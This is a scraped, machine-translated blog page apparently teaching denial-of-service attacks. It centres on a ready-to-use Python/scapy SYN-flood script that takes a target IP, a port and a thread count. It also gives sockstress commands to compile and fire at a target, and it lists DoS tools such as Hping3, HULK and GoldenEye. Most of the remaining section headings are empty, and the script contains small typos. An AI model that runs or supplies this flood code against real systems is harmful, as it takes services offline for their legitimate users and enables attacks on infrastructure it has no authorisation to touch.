当前位置:网站首页>Task: denial of service DOS
Task: denial of service DOS
2022-07-01 19:28:00 【Debroon】
Denial of service DoS
- Denial of service DoS principle
- Syn-Flood Flood attack 、IP Address spoofing
- Smurf attack 、Sockstress
- TearDrop
- DNS Enlarge the attack
- SNMP Enlarge the attack
- NTP Enlarge the attack
- application layer Dos
- Denial of service attack tools -RUDY、Hping3、LAND attack 、Siege
- Denial of service attack tools -NMAP、 Anonymous denial of service toolkit ( Posted by anonymous DoS Tools )、 Other denial of service tools -XOIC、HULK、DDOSIM、GoldenEye
Denial of service DoS principle
Denial of service DoS, It is the use of program vulnerabilities or one-to-one resource exhaustion Denial of Service Denial of service .
but DoS It's a one-on-one attack , Completely fight their own resources , The result is bad .
Distributed denial of service DDos, It's a many to one attack , Pool resources , The emphasis is on large quantity .
The process of normal users accessing web pages :
- User sends request (SYN package )
- The web server accepts the request , return (SYN-ACK package )
- The user sends again (ACK package ), The service connection between users and websites
Syn-Flood Flood attack 、IP Address spoofing
Syn-Flood Flood attack principle : The number of customers served by the website server is limited (TCP maximum connection , Not a server CPU And memory ), We use a large number of computers we control to occupy web server resources ( Keep asking , flow like water ), Then other users visit this website , There will be no reception resources ( Apply for services , Website Service denied ).
syn_flood.py
Script :
# _*_ coding: utf-8 _*_
# Set encoding , Support for Chinese characters
from scapy.all import *
# Import packages that manipulate messages and interact with websites , It can realize the contracting operation of flood attack
from time import sleep
import random
import thread
# Import thread package
import logging
# Import log package
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
# Input prompt for users , Ensure the input format
if len(sys.argv)!= 4:
print " usage :./syn_flood.py [IP Address ] [ port ] [ Number of threads ]"
print " give an example :./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1]) # Destination address
port = int(sys.argv[2]) # port
threads = int(sys.argv[3]) # Number of threads , Multithreading implements a large number of attacks
print " Being implemented SYN flood attack , Press Ctrl+C Stop attack ."
def synflood(target, port):
while 1:
x = random.randint(0, 65535)
# Choose a port at random , As a source port
send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
# Send a request , Occupy the target server TCP The number of connections
for x in range(o, threads):
# from 0 To Number of threads
thread.start_new_thread( synflood, (target, port) )
# At the end of the goal ip And port , Type out all threads
Smurf attack 、Sockstress
# Python Call the attack script
./sockstress.py 1.1.1.1 21 200
// C Call the attack script
Download tool :https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http
TearDrop
DNS Enlarge the attack
SNMP Enlarge the attack
NTP Enlarge the attack
application layer Dos
Denial of service attack tools -RUDY、Hping3、LAND attack 、Siege
Denial of service attack tools -NMAP、 Anonymous denial of service toolkit ( Posted by anonymous DoS Tools )、 Other denial of service tools -XOIC、HULK、DDOSIM、GoldenEye
边栏推荐
- 【pytorch记录】模型的分布式训练DataParallel、DistributedDataParallel
- 物联网平台thingsboard搭建学习记录
- sql查询去重统计的方法总结
- 寶,運維100+服務器很頭疼怎麼辦?用行雲管家!
- 云服务器ECS夏日省钱秘籍,这次@老用户快来领走
- Solution: you can ping others, but others can't ping me
- English grammar_ Adjective / adverb Level 3 - precautions
- PostgreSQL varchar[] array type operation
- 下载(导出)pdf模板文件(比如:审批单),报错:Invalid nested tag *** found, expected closing tag ***
- The intelligent epidemic prevention system provides safety guarantee for the resumption of work and production at the construction site
猜你喜欢
Lumiprobe 活性染料丨吲哚菁绿说明书
Digital business cloud: from planning to implementation, how does Minmetals Group quickly build a new pattern of digital development?
Enabling "new Chinese enterprises", SAP process automation landing in China
Dlib+opencv library for fatigue detection
nacos配置文件发布失败,请检查参数是否正确的解决方案
The use of subplot function in MATLAB
Lake Shore M91快速霍尔测量仪
PMP是被取消了吗??
[live broadcast appointment] database obcp certification comprehensive upgrade open class
EasyGBS主子码流都为H.265时,切换出现花屏如何解决?
随机推荐
有关 M91 快速霍尔测量仪的更多信息
[pytorch record] distributed training dataparallel and distributeddataparallel of the model
DTD建模
Lumiprobe 自由基分析丨H2DCFDA说明书
狼人杀攻略:你当我好骗吗,我们相信谁!
PostgreSQL varchar[] 数组类型操作
M91 fast hall measuring instrument - better measurement in a shorter time
记一次 .NET 差旅管理后台 CPU 爆高分析
M91快速霍尔测量仪—在更短的时间内进行更好的测量
Go Language Advanced
SuperVariMag 超导磁体系统 — SVM 系列
中英说明书丨人可溶性晚期糖基化终末产物受体(sRAGE)Elisa试剂盒
Lake shore M91 fast hall measuring instrument
求各种极限的方法
寶,運維100+服務器很頭疼怎麼辦?用行雲管家!
见证时代!“人玑协同 未来已来”2022弘玑生态伙伴大会开启直播预约
Love business in Little Red Book
论文阅读【Learning to Discretely Compose Reasoning Module Networks for Video Captioning】
Cdga | if you are engaged in the communication industry, you should get a data management certificate
6月刊 | AntDB数据库参与编写《数据库发展研究报告》 亮相信创产业榜单